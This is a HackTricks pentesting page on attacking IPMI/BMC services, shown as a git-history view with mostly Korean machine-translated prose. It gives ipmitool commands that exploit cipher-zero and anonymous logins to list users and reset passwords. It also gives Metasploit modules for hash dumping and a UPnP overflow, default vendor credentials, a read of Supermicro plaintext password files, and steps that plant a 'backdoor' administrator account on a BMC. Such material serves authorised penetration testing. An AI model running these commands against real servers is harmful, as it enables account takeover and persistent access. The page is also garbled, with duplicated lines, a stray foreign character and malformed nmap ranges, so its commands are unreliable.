hacktricks/network-services-pentesting/623-udp-ipmi.md

150 lines
11 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# 623/UDP/TCP - IPMI
2022-04-28 16:01:33 +00:00
2022-05-01 16:57:45 +00:00
## 623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-01-03 10:42:55 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Basic Information
2024-02-10 21:30:13 +00:00
### **IPMI 개요**
2022-10-02 21:10:53 +00:00
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**는 운영 체제나 전원 상태와 관계없이 컴퓨터 시스템의 원격 관리 및 모니터링을 위한 표준화된 접근 방식을 제공합니다. 이 기술은 시스템 관리자가 시스템이 꺼져 있거나 응답하지 않을 때에도 원격으로 시스템을 관리할 수 있게 해주며, 특히 유용한 경우는 다음과 같습니다:
2022-10-02 21:10:53 +00:00
- OS 부팅 전 구성
2024-02-10 21:30:13 +00:00
- 전원 관리
- 시스템 장애 복구
2022-10-02 21:10:53 +00:00
IPMI는 온도, 전압, 팬 속도 및 전원 공급 장치를 모니터링할 수 있으며, 인벤토리 정보 제공, 하드웨어 로그 검토 및 SNMP를 통한 경고 전송 기능도 제공합니다. 작동에 필수적인 요소는 전원 공급 장치와 LAN 연결입니다.
2022-10-02 21:10:53 +00:00
1998년 Intel에 의해 도입된 이후, IPMI는 여러 공급업체에 의해 지원되어 원격 관리 기능을 향상시켰으며, 특히 2.0 버전의 LAN을 통한 직렬 지원이 추가되었습니다. 주요 구성 요소는 다음과 같습니다:
- **Baseboard Management Controller (BMC):** IPMI 작업을 위한 주요 마이크로 컨트롤러.
- **통신 버스 및 인터페이스:** ICMB, IPMB 및 다양한 로컬 및 네트워크 연결을 위한 인터페이스를 포함한 내부 및 외부 통신을 위한 것.
- **IPMI 메모리:** 로그 및 데이터를 저장하기 위한 것.
2024-02-08 21:36:35 +00:00
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**기본 포트**: 623/UDP/TCP (보통 UDP에서 실행되지만 TCP에서도 실행될 수 있습니다)
## Enumeration
### Discovery
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
You can **identify** the **version** using:
당신은 다음을 사용하여 **버전**을 **식별**할 수 있습니다:
```bash
use auxiliary/scanner/ipmi/ipmi_version
2022-10-02 21:10:53 +00:00
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
2024-02-10 21:30:13 +00:00
### IPMI 취약점
IPMI 2.0 영역에서 Dan Farmer에 의해 중요한 보안 결함이 발견되었으며, **cipher type 0**을 통해 취약점이 노출되었습니다. 이 취약점은 [Dan Farmer의 연구](http://fish2.com/ipmi/cipherzero.html)에서 자세히 문서화되어 있으며, 유효한 사용자가 목표로 삼을 경우 제공된 비밀번호로 무단 접근을 가능하게 합니다. 이 약점은 HP, Dell, Supermicro와 같은 제조업체의 다양한 BMC에서 발견되어 모든 IPMI 2.0 구현에서 광범위한 문제를 시사합니다.
### **Cipher 0을 통한 IPMI 인증 우회**
2024-02-08 21:36:35 +00:00
이 결함을 탐지하기 위해 다음의 Metasploit 보조 스캐너를 사용할 수 있습니다:
2024-02-08 21:36:35 +00:00
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
이 결함의 악용은 아래에示된 `ipmitool`을 사용하여 가능하며, 사용자 비밀번호의 나열 및 수정을 허용합니다:
```bash
2024-02-08 21:36:35 +00:00
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
2024-02-10 21:30:13 +00:00
### **IPMI 2.0 RAKP 인증 원격 비밀번호 해시 검색**
이 취약점은 기존 사용자 이름에 대한 솔트가 추가된 해시 비밀번호(MD5 및 SHA1)를 검색할 수 있게 해줍니다. 이 취약점을 테스트하기 위해 Metasploit은 모듈을 제공합니다:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
2024-02-10 21:30:13 +00:00
### **IPMI 익명 인증**
많은 BMC의 기본 구성은 null 사용자 이름 및 비밀번호 문자열로 특징지어지는 "익명" 액세스를 허용합니다. 이 구성은 `ipmitool`을 사용하여 명명된 사용자 계정의 비밀번호를 재설정하는 데 악용될 수 있습니다:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
2024-02-08 21:36:35 +00:00
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI 평문 비밀번호**
IPMI 2.0의 중요한 설계 선택은 인증 목적으로 BMC 내에 평문 비밀번호를 저장해야 함을 요구합니다. Supermicro가 이러한 비밀번호를 `/nv/PSBlock` 또는 `/nv/PSStore`와 같은 위치에 저장하는 것은 심각한 보안 문제를 야기합니다:
```bash
2024-02-08 21:36:35 +00:00
cat /nv/PSBlock
```
2024-02-10 21:30:13 +00:00
### **Supermicro IPMI UPnP 취약점**
Supermicro의 IPMI 펌웨어에 UPnP SSDP 리스너를 포함하는 것은 특히 UDP 포트 1900에서 심각한 보안 위험을 초래합니다. [Rapid7의 공개](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)에서 자세히 설명된 Intel SDK for UPnP Devices 버전 1.3.1의 취약점은 BMC에 대한 루트 접근을 허용합니다:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
**HP는 제조 중에** **Integrated Lights Out (iLO)** **제품의 기본 비밀번호를 무작위로 설정합니다.** 이 관행은 **정적 기본 자격 증명**을 사용하는 다른 제조업체와 대조적입니다. 다양한 제품에 대한 기본 사용자 이름과 비밀번호 요약은 다음과 같습니다:
- **HP Integrated Lights Out (iLO)**는 기본 비밀번호로 **공장에서 무작위로 생성된 8자 문자열**을 사용하여 더 높은 보안 수준을 보여줍니다.
- **Dell의 iDRAC, IBM의 IMM**, 및 **Fujitsu의 Integrated Remote Management Controller**와 같은 제품은 각각 "calvin", "PASSW0RD" (0 포함), "admin"과 같은 쉽게 추측할 수 있는 비밀번호를 사용합니다.
- 유사하게, **Supermicro IPMI (2.0), Oracle/Sun ILOM**, 및 **ASUS iKVM BMC**도 각각 "ADMIN", "changeme", "admin"과 같은 간단한 기본 자격 증명을 사용합니다.
## Accessing the Host via BMC
Baseboard Management Controller (BMC)에 대한 관리 액세스는 호스트의 운영 체제에 접근할 수 있는 다양한 경로를 엽니다. 간단한 접근 방식은 BMC의 키보드, 비디오, 마우스 (KVM) 기능을 악용하는 것입니다. 이는 GRUB를 통해 루트 셸로 호스트를 재부팅하거나 가상 CD-ROM에서 복구 디스크로 부팅하여 수행할 수 있습니다. 이러한 방법은 호스트의 디스크를 직접 조작할 수 있게 하며, 백도어 삽입, 데이터 추출 또는 보안 평가를 위한 필요한 작업을 포함합니다. 그러나 이는 호스트를 재부팅해야 하므로 상당한 단점이 있습니다. 재부팅 없이 실행 중인 호스트에 접근하는 것은 더 복잡하며 호스트의 구성에 따라 다릅니다. 호스트의 물리적 또는 직렬 콘솔이 로그인된 상태라면 BMC의 KVM 또는 LAN을 통한 직렬 기능을 사용하여 쉽게 장악할 수 있습니다. i2c 버스 및 Super I/O 칩과 같은 공유 하드웨어 리소스의 악용을 탐색하는 것은 추가 조사가 필요한 영역입니다.
## Introducing Backdoors into BMC from the Host
BMC가 장착된 호스트를 손상시키면, **로컬 BMC 인터페이스를 활용하여 백도어 사용자 계정을 삽입할 수 있습니다.** 이는 서버에 지속적인 존재를 생성합니다. 이 공격은 손상된 호스트에 **`ipmitool`**이 존재하고 BMC 드라이버 지원이 활성화되어 있어야 합니다. 다음 명령은 인증 없이 호스트의 로컬 인터페이스를 사용하여 BMC에 새 사용자 계정을 주입하는 방법을 보여줍니다. 이 기술은 Linux, Windows, BSD, 심지어 DOS를 포함한 다양한 운영 체제에 적용 가능합니다.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
2022-05-01 16:57:45 +00:00
## Shodan
2020-10-05 13:04:03 +00:00
* `port:623`
2022-04-28 16:01:33 +00:00
## References
2022-10-02 21:10:53 +00:00
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks 지원하기</summary>
2024-01-03 10:42:55 +00:00
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}